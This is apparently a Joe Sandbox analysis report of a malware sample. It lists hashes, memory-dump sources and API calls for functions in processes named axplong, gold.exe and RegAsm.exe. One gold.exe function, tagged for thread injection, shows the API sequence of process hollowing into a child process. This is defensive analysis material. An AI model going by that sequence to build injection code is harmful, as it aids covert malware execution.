Instruction Fuzzy Hash: 1FB136B29202869FDB15DF28C8817BEBBE5EF55300F3485AAD849FB341D6349D61CB60

Function 0021BAA2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0021BAFA
__Xtime_diff_to_millis2.LIBCPMT ref: 0021BB14
_xtime_get.LIBCPMT ref: 0021BB37
__Xtime_diff_to_millis2.LIBCPMT ref: 0021BB43

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 66d6b86c4bc91c41d3399bf452bdfb2d0fc13a10e5379f76746f1dc76f1d3fc7
Instruction ID: 97a08f5a3ee17477e0e4c104387a3911c3d39b74d53614046ffd9f06ba32c273
Opcode Fuzzy Hash: 66d6b86c4bc91c41d3399bf452bdfb2d0fc13a10e5379f76746f1dc76f1d3fc7
Instruction Fuzzy Hash: 4C217F75A10209AFDF11EFA4DC859EEBBB9EF18314F500029F901B7250DB30AE918FA1

Function 00217040 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 236COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 0021726C

Strings

@. , xrefs: 00217250
`z!, xrefs: 00217282

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: @. $`z!
API String ID: 3366076730-3678311214
Opcode ID: bb129b7af1ba6498772547667afd1124545a9fbdd76a31e141b4604b35f002c4
Instruction ID: 92d0dc1dda8540303653d2c0ae443336958e71a83ae3d70dc4f8ea3313b6d8ee
Opcode Fuzzy Hash: bb129b7af1ba6498772547667afd1124545a9fbdd76a31e141b4604b35f002c4
Instruction Fuzzy Hash: 30A136B4E11619CFDB21CFA8C88479EBBF1AF58700F18819AE819AB351E7759D41CF80

Function 00218E70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 197COMMON

Download Yara Rule

Strings

P# , xrefs: 0020246D
P# , xrefs: 00202486

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: P# $P#
API String ID: 0-946548517
Opcode ID: 0124db9d2a162e24641870fd23c516fee39c931b939b769e95eb4b4256242325
Instruction ID: 829f43556dcafd7bfc20342985d5a5d20435e259eef0ab178aac33d7b69c1787
Opcode Fuzzy Hash: 0124db9d2a162e24641870fd23c516fee39c931b939b769e95eb4b4256242325
Instruction Fuzzy Hash: 78514972A201099BCB14DF68DC81AAEB7E9EF54310F500669F915DB341EB70EEB18BD1

Function 0023F21F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0023F263

Strings

`'&, xrefs: 0023F235
8"&, xrefs: 0023F30B

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"&$`'&
API String ID: 3903695350-1833602563
Opcode ID: e5f00c62ab79e5ba3c6da4599c15a43bacc04dfd509db2445d35bbf405a8c9ce
Instruction ID: 59466c64704cdedc64d2739a12216b30ecc68c83db867fedacedeccf673c7d34
Opcode Fuzzy Hash: e5f00c62ab79e5ba3c6da4599c15a43bacc04dfd509db2445d35bbf405a8c9ce
Instruction Fuzzy Hash: BA314FB1A20306DFEB61AF78EA45B5773E9AF40310F11587AE886D7152DF71ECA08B11

Function 00203930 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 00203962
__Mtx_init_in_situ.LIBCPMT ref: 002039A1

Strings

pB , xrefs: 00203940

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: pB
API String ID: 3366076730-1385282573
Opcode ID: 57d3eb742ae3a1a4b5eeca5ca2f8a79f29cb02a87fa046c61ff5617aa866367a
Instruction ID: 00bb983cfef0532ac311eeb298825da07c9b66d34a75020ebd55b6f159fca941
Opcode Fuzzy Hash: 57d3eb742ae3a1a4b5eeca5ca2f8a79f29cb02a87fa046c61ff5617aa866367a
Instruction Fuzzy Hash: E44136B46017059FD720CF18C58875ABBF5FF44315F108619E86A8B781E7B5EA55CF80

Function 00202440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0020247E

Strings

P# , xrefs: 0020246D
P# , xrefs: 00202486

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P# $P#
API String ID: 2659868963-946548517
Opcode ID: 4085353aa35e25e441cdb22e4730e8a8a74abe98791eba9de68f982c78389a2a
Instruction ID: d5421b24360a452699e89a37507e2040cda3664aaf3037ff2707b9d5b07c0a5c
Opcode Fuzzy Hash: 4085353aa35e25e441cdb22e4730e8a8a74abe98791eba9de68f982c78389a2a
Instruction Fuzzy Hash: AAF0E5B1D2030C67C714EFE4DC4188AB3ACDE15310F008A26FA44E7501F770FA688B95

Function 00202520 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00202552

Strings

P# , xrefs: 00202547
P# , xrefs: 0020255D

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P# $P#
API String ID: 2659868963-946548517
Opcode ID: 357fa22dbe5b82054a320a61d6d6777fd4b6b8ba9bff3a9ce73b7e2dafaf9f3c
Instruction ID: 7b303990318fdc46ac798f7776ab24809c3fc7dff1f3f30c22effd700a1aafc9
Opcode Fuzzy Hash: 357fa22dbe5b82054a320a61d6d6777fd4b6b8ba9bff3a9ce73b7e2dafaf9f3c
Instruction Fuzzy Hash: ADF08275D2020DABC714DFA8D84198EBBF8AF55304F1082AEE84467200EA705A69CF99

Analysis Process: gold.exePID: 4892, Parent PID: 2616COMMON

Execution Graph

Execution Coverage:	39.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	20.5%
Total number of Nodes:	39
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 031624E9 Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 03162658
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0316266B
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 03162689
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 031626AD
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 031626D8
TerminateProcess.KERNELBASE(?,00000000), ref: 031626F7
WriteProcessMemory.KERNELBASE(?,00000000,?,?,00000000,?), ref: 03162730
WriteProcessMemory.KERNELBASE(?,?,?,?,00000000,?,00000028), ref: 0316277B
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 031627B9
Wow64SetThreadContext.KERNEL32(?,?), ref: 031627F5
ResumeThread.KERNELBASE(?), ref: 03162804

Strings

ress, xrefs: 03162573
aryA, xrefs: 0316252F
GetP, xrefs: 0316256B
Load, xrefs: 03162527

Memory Dump Source

Source File: 00000008.00000002.2764919028.0000000003162000.00000040.00000800.00020000.00000000.sdmp, Offset: 03162000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3162000_gold.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: GetP$Load$aryA$ress
API String ID: 2440066154-977067982
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 0106e989efec746f11d7d1fe085fcb7968cf1b96f6a30d510d7b6a9f32293d87
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: 9BB1F67264024AAFDB60CFA8CC80BDA77A5FF8C714F158564EA0CAB341D774FA518B94

Function 015A0B29 Relevance: 1.8, APIs: 1, Instructions: 285
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,04163594,00000040,?,?), ref: 015A0EC4

Memory Dump Source

Source File: 00000008.00000002.2764542856.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_15a0000_gold.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 67f68bb687d61cea487edd2dd7007d4f897d16e978e3e2a8b81390cff616ab95
Instruction ID: 059a56db06e8cafbd1b2168b33f7a6c6290ad7e40b3f7e5601b01b6b12fa7a78
Opcode Fuzzy Hash: 67f68bb687d61cea487edd2dd7007d4f897d16e978e3e2a8b81390cff616ab95
Instruction Fuzzy Hash: 0BC17370A5425A9FCB02CFA9C480AADFBF1FF49314F988559E954EB292C374EC41CB90

Function 015A0EF9 Relevance: 1.6, APIs: 1, Instructions: 69
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,00000000,00000000,?,?), ref: 015A0F99

Memory Dump Source

Source File: 00000008.00000002.2764542856.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_15a0000_gold.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 5722f633ce5a77b1c8a9698c87e32c06edbf74d521d114486badae33b477a62a
Instruction ID: e11110ea09d13916b024d665a9a87bbe9707dbafa432d6d7cdd56d3be854efb8
Opcode Fuzzy Hash: 5722f633ce5a77b1c8a9698c87e32c06edbf74d521d114486badae33b477a62a
Instruction Fuzzy Hash: CD210FB59003499FCB14CF99D984ADEBBF4FF88310F20842AE919A7240D374AA14CFA0

Function 015A04F0 Relevance: 1.6, APIs: 1, Instructions: 68
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,00000000,00000000,?,?), ref: 015A0F99

Memory Dump Source

Source File: 00000008.00000002.2764542856.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_15a0000_gold.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 38debe9fcf6dd576dc0cb7fd77f3245a60864537cbb666f7fe390b0994660fda
Instruction ID: 9b1aad40b8efdd21689e790c8b24fcdcba67b4f606ca1a806a79255a5377663d
Opcode Fuzzy Hash: 38debe9fcf6dd576dc0cb7fd77f3245a60864537cbb666f7fe390b0994660fda
Instruction Fuzzy Hash: 6721EFB59012499FCB10CF9AD984ADEBBF4FB48310F20842AE919A7340D374A954CBA5

Function 015A04D0 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,04163594,00000040,?,?), ref: 015A0EC4

Memory Dump Source

Source File: 00000008.00000002.2764542856.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_15a0000_gold.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: e7e832c2e74c1be7d0017b8713e8daf3727f2a9f60b8fe0a56c88b8d6ca2464c
Instruction ID: b0ac03bd659d982ffd2a84c78f550b993dbae5976c808ab8c7865b6d17865792
Opcode Fuzzy Hash: e7e832c2e74c1be7d0017b8713e8daf3727f2a9f60b8fe0a56c88b8d6ca2464c
Instruction Fuzzy Hash: 412103B1805299EFCB00DF9AC884ADEFFB4FF49320F10815AE618AB251D3B56554CFA5

Function 015A04E4 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,04163594,00000040,?,?), ref: 015A0EC4

Memory Dump Source

Source File: 00000008.00000002.2764542856.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_15a0000_gold.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: bfe7fed27945aa639f10301e78e6a122f707f85b0e4052f12ed5ce6693c7a117
Instruction ID: 6c12d777f803da49ae509ed8b8fcd67895cd8da731b240049b329875af11118b
Opcode Fuzzy Hash: bfe7fed27945aa639f10301e78e6a122f707f85b0e4052f12ed5ce6693c7a117
Instruction Fuzzy Hash: EF21E3B1901259EFCB00CF9AC984ADEFFB4FB48310F10852AEA18A7250D375A950CFA1

Analysis Process: RegAsm.exePID: 2720, Parent PID: 4892COMMON

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	38
Total number of Limit Nodes:	6

Executed Functions

Function 06483F50 Relevance: .5, Instructions: 523
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.3539547488.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ff0862fdf1046c390f477417e45b355968d4844119aa90185b684c8b6128707
Instruction ID: b03190506a89a56dfec688a8d707afbe93f9f219b260647f93d0a1ab9a567d60
Opcode Fuzzy Hash: 6ff0862fdf1046c390f477417e45b355968d4844119aa90185b684c8b6128707
Instruction Fuzzy Hash: 5D125134F002158FCB55EF69C884AAEBBF6BF89710B15816AD906EB395DB70DC41CB90

Function 064867D8 Relevance: .4, Instructions: 410
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.3539547488.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dff59d6271479b2bc403346ddee8e5d13b5bd3b16877b47d48855e665d3a4abe
Instruction ID: 56140b63b363cb9e5bd197c3f69b7ec130f9f743057c70a4bbea1e15bbd966f2
Opcode Fuzzy Hash: dff59d6271479b2bc403346ddee8e5d13b5bd3b16877b47d48855e665d3a4abe
Instruction Fuzzy Hash: 27F1A030A002199FDB85EF68D880B9EBBF2EF88300F15856AE555EB391DB71DC45CB90

Function 0648A688 Relevance: .3, Instructions: 306COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3539547488.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9480dd5bed49ff42d22581a5aba48ac3f925316f923f98898407bf9f8c2b96f
Instruction ID: 4a3f2b652f44da17243d7f63b976f2a8ae3ec660af3022fffef83b0515c4e4bb
Opcode Fuzzy Hash: f9480dd5bed49ff42d22581a5aba48ac3f925316f923f98898407bf9f8c2b96f
Instruction Fuzzy Hash: 84D1F734D05218CFDB58EFB4D854A9DBBB2FF8A305F1081A9D50AAB394DB319986CF11

Function 0648A6B8 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3539547488.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 932258920b72320b2c27db7332ee30a61c3d47b4512ffe5c0fc7d0156921a153
Instruction ID: 420ed653a88dde22c43379bdff29aa4ffeadd8e4fbfc0d78d2653e9d87490a49
Opcode Fuzzy Hash: 932258920b72320b2c27db7332ee30a61c3d47b4512ffe5c0fc7d0156921a153
Instruction Fuzzy Hash: A6D1D638D05218CFDB58EFB4D854A9DBBB2FF8A305F1081A9D50AAB394DB319985CF11

Function 02A7D0A8 Relevance: 6.1, APIs: 4, Instructions: 133
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 02A7D136
GetCurrentThread.KERNEL32 ref: 02A7D173
GetCurrentProcess.KERNEL32 ref: 02A7D1B0
GetCurrentThreadId.KERNEL32 ref: 02A7D209

Memory Dump Source

Source File: 0000000B.00000002.3525903929.0000000002A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a70000_RegAsm.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 6084695126462c50aefe8d4baae4771b80dcf543e5645e4083977c57a94529d3
Instruction ID: 81bd7b6b9a1706c0d1621e197173817aa490d25b71cfe84087caed46d121b802
Opcode Fuzzy Hash: 6084695126462c50aefe8d4baae4771b80dcf543e5645e4083977c57a94529d3
Instruction Fuzzy Hash: 9A5178B0900749CFEB44DFA9D948B9EBBF1FF88314F208459E019A73A0DB74A845CB65

Function 02A7D0B8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 02A7D136
GetCurrentThread.KERNEL32 ref: 02A7D173
GetCurrentProcess.KERNEL32 ref: 02A7D1B0
GetCurrentThreadId.KERNEL32 ref: 02A7D209

Memory Dump Source

Source File: 0000000B.00000002.3525903929.0000000002A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a70000_RegAsm.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: ab102ad6581f5ba9043d762fc0be4eab32fbe84a6701d0ac26c25627f2a5942f
Instruction ID: 62498524f8858f2bde3a8ecd147a9a9c3898ba84b9eb069a9cff725392a97ee3
